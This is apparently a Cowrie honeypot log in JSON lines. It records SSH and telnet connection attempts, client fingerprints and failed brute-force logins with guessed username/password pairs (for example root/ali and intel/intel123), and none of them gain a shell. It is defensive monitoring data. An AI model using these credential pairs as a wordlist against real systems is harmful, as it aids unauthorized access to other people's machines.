{"eventid":"cowrie.login.failed","username":"root","password":"ali","message":"login attempt [root/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:27.124511Z","src_ip":"152.32.214.226","session":"d974f0006bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:28.345819Z","src_ip":"152.32.214.226","session":"d974f0006bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5845,"dst_ip":"10.17.0.5","dst_port":22,"session":"8192342d7943","protocol":"ssh","message":"New connection: 196.188.93.169:5845 (10.17.0.5:22) [session: 8192342d7943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:33.386677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:33.390924Z","src_ip":"196.188.93.169","session":"8192342d7943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:33.561206Z","src_ip":"196.188.93.169","session":"8192342d7943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2root","message":"login attempt [root/root2root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:34.278137Z","src_ip":"196.188.93.169","session":"8192342d7943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:35.451235Z","src_ip":"196.188.93.169","session":"8192342d7943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41838,"dst_ip":"159.203.135.109","dst_port":23,"session":"29f2f2bf1996","protocol":"telnet","message":"New connection: 107.6.151.170:41838 (159.203.135.109:23) [session: 29f2f2bf1996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:37.891812Z"}
{"eventid":"cowrie.session.closed","duration":0.005234956741333008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:37.896899Z","src_ip":"107.6.151.170","session":"29f2f2bf1996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.17","src_port":47260,"dst_ip":"10.17.0.5","dst_port":22,"session":"a230bacb76eb","protocol":"ssh","message":"New connection: 101.96.195.17:47260 (10.17.0.5:22) [session: a230bacb76eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:48.876542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:48.880910Z","src_ip":"101.96.195.17","session":"a230bacb76eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:49.098846Z","src_ip":"101.96.195.17","session":"a230bacb76eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intel","password":"intel123","message":"login attempt [intel/intel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:50.012003Z","src_ip":"101.96.195.17","session":"a230bacb76eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:51.233946Z","src_ip":"101.96.195.17","session":"a230bacb76eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":36544,"dst_ip":"10.17.0.5","dst_port":22,"session":"7456fd3d9d7b","protocol":"ssh","message":"New connection: 45.78.204.254:36544 (10.17.0.5:22) [session: 7456fd3d9d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:52.725410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:52.731075Z","src_ip":"45.78.204.254","session":"7456fd3d9d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:52.974335Z","src_ip":"45.78.204.254","session":"7456fd3d9d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"incoming","password":"1234","message":"login attempt [incoming/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:56.891410Z","src_ip":"45.78.204.254","session":"7456fd3d9d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:59.318210Z","src_ip":"45.78.204.254","session":"7456fd3d9d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45426,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8d2626041f4","protocol":"telnet","message":"New connection: 128.199.8.54:45426 (159.203.135.109:23) [session: e8d2626041f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:08.136205Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":37792,"dst_ip":"10.17.0.5","dst_port":22,"session":"67e1980c9fb8","protocol":"ssh","message":"New connection: 36.92.41.115:37792 (10.17.0.5:22) [session: 67e1980c9fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:15.252632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:15.257299Z","src_ip":"36.92.41.115","session":"67e1980c9fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:15.519319Z","src_ip":"36.92.41.115","session":"67e1980c9fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ba123456","message":"login attempt [root/Ba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:16.600775Z","src_ip":"36.92.41.115","session":"67e1980c9fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:17.865291Z","src_ip":"36.92.41.115","session":"67e1980c9fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":55446,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e0c4f3260c9","protocol":"ssh","message":"New connection: 177.85.247.230:55446 (10.17.0.5:22) [session: 2e0c4f3260c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:27.869544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:27.876954Z","src_ip":"177.85.247.230","session":"2e0c4f3260c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:27.981329Z","src_ip":"177.85.247.230","session":"2e0c4f3260c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"abc123","message":"login attempt [es/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:28.429029Z","src_ip":"177.85.247.230","session":"2e0c4f3260c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:29.536407Z","src_ip":"177.85.247.230","session":"2e0c4f3260c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":36446,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a10eb33b3e","protocol":"ssh","message":"New connection: 87.106.47.28:36446 (10.17.0.5:22) [session: f3a10eb33b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:31.069477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:31.072751Z","src_ip":"87.106.47.28","session":"f3a10eb33b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:31.164608Z","src_ip":"87.106.47.28","session":"f3a10eb33b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wd","password":"123456","message":"login attempt [wd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:31.565834Z","src_ip":"87.106.47.28","session":"f3a10eb33b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:32.660833Z","src_ip":"87.106.47.28","session":"f3a10eb33b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.24530529975891,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:37.381304Z","src_ip":"128.199.8.54","session":"e8d2626041f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":42236,"dst_ip":"10.17.0.5","dst_port":22,"session":"79462668f6dc","protocol":"ssh","message":"New connection: 163.7.9.84:42236 (10.17.0.5:22) [session: 79462668f6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:48.000826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:48.005609Z","src_ip":"163.7.9.84","session":"79462668f6dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:48.266429Z","src_ip":"163.7.9.84","session":"79462668f6dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user123456","message":"login attempt [user1/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:49.346510Z","src_ip":"163.7.9.84","session":"79462668f6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:50.610084Z","src_ip":"163.7.9.84","session":"79462668f6dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42226,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa8556af56c","protocol":"telnet","message":"New connection: 128.199.8.54:42226 (159.203.135.109:23) [session: 4fa8556af56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:44:50.862797Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":57374,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c761ae3d3cd","protocol":"ssh","message":"New connection: 152.32.214.226:57374 (159.203.135.109:22) [session: 6c761ae3d3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:16.453835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:16.461318Z","src_ip":"152.32.214.226","session":"6c761ae3d3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:16.681665Z","src_ip":"152.32.214.226","session":"6c761ae3d3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"test_user","message":"login attempt [test_user/test_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:17.587863Z","src_ip":"152.32.214.226","session":"6c761ae3d3cd","protocol":"ssh"}
